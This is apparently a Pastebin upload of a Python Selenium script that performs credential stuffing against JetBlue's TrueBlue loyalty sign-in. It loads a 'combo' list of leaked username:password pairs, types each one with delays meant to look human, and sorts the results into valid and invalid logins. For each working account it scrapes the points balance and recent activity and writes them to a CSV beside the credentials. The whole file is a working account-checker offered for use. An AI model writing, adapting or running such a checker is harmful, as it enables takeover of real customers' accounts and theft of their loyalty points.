Advertisement
hexalogy

instapy - My Main Script

May 10th, 2019
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.29 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Wed Jul 24 22:59:55 2019
  4.  
  5. @author: Yukimura
  6. """
  7.  
  8. import time
  9. from random import randrange
  10. from selenium import webdriver
  11. from selenium.common.exceptions import NoSuchElementException
  12. from selenium.webdriver.common.by import By
  13. from selenium.webdriver.support.ui import WebDriverWait
  14. from selenium.webdriver.support import expected_conditions as EC
  15. from selenium.webdriver.chrome.options import Options
  16.  
  17. chrome_options = Options()
  18. chrome_options.set_capability('--disable-web-security', True)
  19.  
  20. # Create a list of username, password pairs from your file.
  21. username_password_list = []
  22.  
  23. with open(r"C:\Users\ees\Downloads\combo.txt") as file:
  24.     for line in file:
  25.        user, password = line.strip().split(':')
  26.        username_password_list.append((user, password))
  27.  
  28. count = 1
  29.  
  30. f = open("jetblue_result.csv","w+")
  31.  
  32. for user, password in username_password_list:
  33.     print(str(count) + " out of " + str(len(username_password_list)))
  34.     print("------------------------------")
  35.    
  36.     count += 1
  37.  
  38.     try:
  39.        
  40.         #create Chrome session
  41.         #driver = webdriver.Chrome("C:\chromedriver.exe")
  42.         driver = webdriver.Chrome(executable_path=r'C:\chromedriver.exe', chrome_options = chrome_options)
  43.        
  44.         #start Chrome session
  45.         driver.get('https://www.jetblue.com/signin')
  46.        
  47.         time.sleep(8)
  48.        
  49.         #------------ login ------------#
  50.        
  51.         while True:
  52.                    
  53.             #username
  54.             el = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.CSS_SELECTOR, "input[type='email']")))#.send_keys(user)
  55.             el.click()
  56.             for character in user:
  57.                 el.send_keys(character)
  58.                 time.sleep(randrange(1)) # humanlike typing
  59.                
  60.             time.sleep(2)
  61.            
  62.             #password
  63.             le = driver.find_element_by_css_selector("input[type='password']")#.send_keys(password)
  64.             for character in password:
  65.                 le.send_keys(character)
  66.                 time.sleep(randrange(1)) # humanlike typing
  67.            
  68.             #login click
  69.             driver.find_element_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/form/div[3]/button").click()
  70.            
  71.             #time.sleep(120)
  72.             time.sleep(7)
  73.            
  74.             #IF url is still login
  75.             if driver.current_url == "https://www.jetblue.com/signin":
  76.                 print("- Blank login page... retrying..")
  77.            
  78.             else:
  79.                 break
  80.                    
  81.         # If statement for incorrect login here
  82.         try:
  83.            
  84.             if driver.find_elements_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/div[contains(text(), 'Either your username or password')]"):
  85.                 print("- Invalid Credential! onto the next one..")
  86.                 print("------------------------------")
  87.                
  88.                 #------------ Exporting ------------#
  89.                 f.write(user + "," + password + ",N/A,Invalid Credential\r")
  90.                 continue
  91.            
  92.             while True:
  93.                 if driver.find_elements_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/div[contains(text(), 'Oops')]"):
  94.                     print("- Wonky server, retrying...")
  95.                     driver.find_element_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/form/div[3]/button").click()
  96.                     time.sleep(7)
  97.                    
  98.                 else:
  99.                     break
  100.                
  101.                
  102.         except NoSuchElementException:
  103.             print("- Pass login check")
  104.             break
  105.            
  106.        
  107.  #---------------------------------------------------------  
  108.        
  109.        
  110.         #navigate to My Activity
  111.         driver.get('https://trueblue.jetblue.com/dashboard/my-activity')
  112.        
  113.         time.sleep(3)
  114.        
  115.         #if statement for 'Confirm your Contact Info'
  116.         try:
  117.             if driver.find_element_by_xpath("/html/body/mp-root/div/mp-confirm-contact/div[2]/form/div/div[3]/div/button"):
  118.                 print("- 'Confirm Contact' pop-up")
  119.                 driver.find_element_by_xpath("/html/body/mp-root/div/mp-confirm-contact/div[2]/form/div/div[3]/div/button").click()
  120.                 print("- 'Update Profile' button has been clicked")
  121.                 time.sleep(2)
  122.                 driver.get('https://trueblue.jetblue.com/dashboard/my-activity')
  123.         except NoSuchElementException:
  124.             print("- No Confirm contact pop-up")
  125.  
  126.         # Extract My Actiity page
  127.         score = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.XPATH, "/html/body/mp-root/div/mp-dashboard/mp-dashboard-header/div/div/div/div[2]/div/div/div[1]/span[2]"))).text      
  128.         print(score)
  129.        
  130.         activity = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.XPATH, "/html/body/mp-root/div/mp-dashboard/dashboard-outlet/div/div/div/mp-my-activity/div/mp-dashboard-boxes-container/mp-dashboard-box[1]/mp-latest-activity/div/mp-latest-activity-item/div/div/div[2]/span[2]"))).text      
  131.         print(activity)
  132.    
  133.         #------------ Exporting ------------#
  134.         f.write(user + "," + password + "," + "\"" + score + "\"" + "," + "\"" + activity + "\"" + "\r")
  135.        
  136.         print("------------------------------")
  137.        
  138.     except NoSuchElementException:
  139.         print ("Cant find element!")
  140.        
  141.         #------------ Exporting ------------#
  142.         f.write(user + "," + password + ",Requires Manual Login\r")
  143.  
  144.        
  145.         print("------------------------------")
  146.    
  147.     except Exception as e:
  148.         print("Something went wrong ",e)
  149.        
  150.         #------------ Exporting ------------#
  151.         f.write(user + "," + password + ",N/A,Require Manual Check\r")
  152.        
  153.         print("------------------------------")
  154.        
  155.     finally:
  156.         #close Chrome session
  157.         driver.quit()
  158.        
  159.         time.sleep(4)
  160.    
  161. f.close()
  162.  
  163. print("******* Finished *******")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement